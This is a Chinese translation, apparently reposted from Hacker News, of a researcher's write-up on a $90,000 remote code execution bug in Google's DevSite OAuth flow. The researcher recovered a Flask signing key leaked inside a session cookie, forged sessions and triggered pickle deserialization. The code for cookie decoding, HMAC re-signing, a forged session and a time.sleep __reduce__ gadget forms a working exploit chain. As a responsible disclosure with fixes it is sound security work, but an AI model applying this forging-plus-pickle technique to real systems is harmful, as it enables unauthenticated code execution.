跳到正文
Hacker News· soeckly·· 6 天前AI 评分66

我在 Google 发现价值 9 万美元的远程代码执行漏洞

I Found a $90k Remote Code Execution Vulnerability in Google

AI 导读

安全研究者 soeckly 在 Google 开发者文档站点共享的 OAuth 流程中发现远程代码执行漏洞,获 9 万美元赏金。

正文 · AI 翻译

我是怎么发现的

我当时正在梳理 Google 开发者文档站点共用的 OAuth 流程。你访问 /oauth2authorize,它会设置一个 Flask 会话 cookie 并将你重定向到 Google 的登录页面。无需账号:

curl -s -D headers.txt -o /dev/null \
  'https://developers.google.com/oauth2authorize?return_url=%2F'

引起我注意的是那个 cookie。Flask 通常的三段式 session=<payload>.<timestamp>.<signature>,但大约 1,200 字节,远超 CSRF 令牌和返回 URL 所需。于是我解码了它。

Flask 会话 cookie 是签名的,不是加密的,所以任何持有它的人都能直接看到内容。开头的点表示载荷是 zlib 压缩的:

import base64
import json
import pickletools
import zlib

payload, timestamp, signature = cookie.rsplit(".", 2)

def b64decode(value):
    return base64.urlsafe_b64decode(value + "=" * (-len(value) % 4))

compressed = payload.startswith(".")
raw = b64decode(payload[1:] if compressed else payload)
session = json.loads(zlib.decompress(raw) if compressed else raw)

这让我得到了:

{
  "_permanent": true,
  "google_oauth2_csrf_token": "...",
  "google_oauth2_flow_<csrf>": {
    " b": "..."
  }
}

" b" 键是 Flask 用来标记 bytes 值的。对它进行 Base64 解码后我得到了一个 pickle,而 pickletools.dis 打印出了一个 oauth2client.client.OAuth2WebServerFlow 对象及其字段:

client_id     = "<redacted>.apps.googleusercontent.com"
client_secret = b"<redacted>"

我的 cookie 里住着一个 pickle 已经很糟了。Google 的 OAuth client_id 和 client_secret 以明文形式躺在里面就更糟了。(密钥被隐去,因为我写这篇文章时它仍然有效。)

然后,我一时兴起,试着把客户端密钥当作 Flask 的 SECRET_KEY。Google 刚刚交给我的 cookie 上的签名用它验证通过了。给 cookie 签名的密钥就藏在 cookie 里面。

一个密钥,两份工作

客户端密钥泄露在 cookie 中本身就是一个发现。关键在于同一个值也能验证签名,所以我认真地确认了这一点,而不是依赖一次幸运的猜测。

Flask 通过 itsdangerous 使用 cookie-session 密钥派生进行签名,所以我离线重新计算了签名:

import hmac

derived_key = hmac.digest(client_secret, b"cookie-session", "sha1")
expected = hmac.digest(
    derived_key,
    f"{payload}.{timestamp}".encode(),
    "sha1",
)

expected 的结果与几秒前交给我的 cookie 上的签名逐字节完全相同。为了确认这不是偶然,我翻转了签名中的一个字符(被拒绝),并用恢复出的密钥重新签署了原始载荷(被接受)。会话完整性荡然无存。我可以设置会话中的每一个键和值,同时仍然生成服务器会接受的签名。

从伪造 cookie 到代码执行

回调从会话中读回流程并对其进行 unpickle:

session cookie
  -> verify Flask signature
  -> read google_oauth2_flow_<csrf>
  -> base64-decode the bytes
  -> pickle.loads(...)

那个 pickle.loads 只有在没有其他人能伪造有效 cookie 时才是“安全”的。一旦密钥公开,这个假设就毫无价值。我用一个编造的 CSRF 令牌构建了自己的会话,并在匹配的流程键下放入了我想要的任何 pickle:

session = {
    "_permanent": True,
    "google_oauth2_csrf_token": "attacker-chosen",
    "google_oauth2_flow_attacker-chosen": {
        " b": base64.b64encode(attacker_blob).decode()
    },
}

state 参数也是我的,所以服务器端不需要任何东西对齐。它检查我的签名,找到我的流程条目,然后把字节传给 pickle.loads。

如果你没玩过 pickle:REDUCE 操作码指定一个可调用对象及其参数,而 unpickle 就是调用它。公开的签名密钥加上这个汇聚点就是未经身份验证的 RCE。

我不打算在 Google 的生产环境上运行命令,所以我用时间来证明。载荷简化为 time.sleep(N):

class Sleep:
    def __init__(self, seconds):
        self.seconds = seconds

    def __reduce__(self):
        return (time.sleep, (self.seconds,))

每次都是同一个伪造会话,只有数字变了:

time.sleep(0) -> 0.207 s
time.sleep(3) -> 3.193 s
time.sleep(5) -> 5.194 s
time.sleep(8) -> 8.283 s

响应时间跟随 pickle 中的数字变化,这只有在服务器导入 time 并实际调用 sleep(N) 时才会发生。

然后是控制实验,以排除端点缓慢或抖动:

  • 没有 cookie:Invalid request。
  • 签名中翻转一个字节:Invalid request。
  • 签名有效,但没有流程条目:Invalid request state。
  • 签名有效且带有真实流程:到达了 Google 的令牌交换,随后因我的伪造授权码而失败,报 invalid_grant。
  • 签名有效且带有 sleep 载荷:延迟恰好是我选择的数字。

影响范围

这不是单个应用,而是共享的 DevSite 平台,所以来自 developers.google.com 的密钥能在以下站点签署有效会话:

  • firebase.google.com
  • developer.android.com
  • source.android.com
  • docs.partner.android.com

修复

有四件事必须改变,而且它们层层叠加:

  1. 轮换两个已暴露的 OAuth 客户端密钥,并终止所有用它们签名的会话。
  2. 为每个部署从服务器端存储中分配各自的高熵 Flask SECRET_KEY,与任何 OAuth 凭据毫无关系。
  3. 将 OAuth 流程对象保留在服务器上。Cookie 应仅保存一个不透明的引用,不包含任何敏感信息。
  4. 对于任何跨越客户端边界的数据,丢弃 pickle。采用仅含数据并带模式校验的格式,可使伪造的 Cookie 失效。

其中任何一环都足以打断这条链。四个环节全部凑齐,这就是两个 GET 请求最终能在 Google 服务器上执行代码的原因。

时间线

  1. Aug 6, 2026 · 22:48

    报告已提交

  2. Aug 7, 2026 · 08:12

    已分类

  3. Aug 7, 2026 · 16:23

    已受理

  4. Aug 27, 2026

    奖励决定:$90,000

    普通 Google 应用(T2),S0 RCE:基础 $75,000 × 1.2(因报告质量卓越)。

  5. Oct 7, 2026 · 15:20

    已修复

感谢 Google Bug Hunters 团队和 DevSite 工程师调查并修复此问题。

来源:Hacker News · simonkoeck.com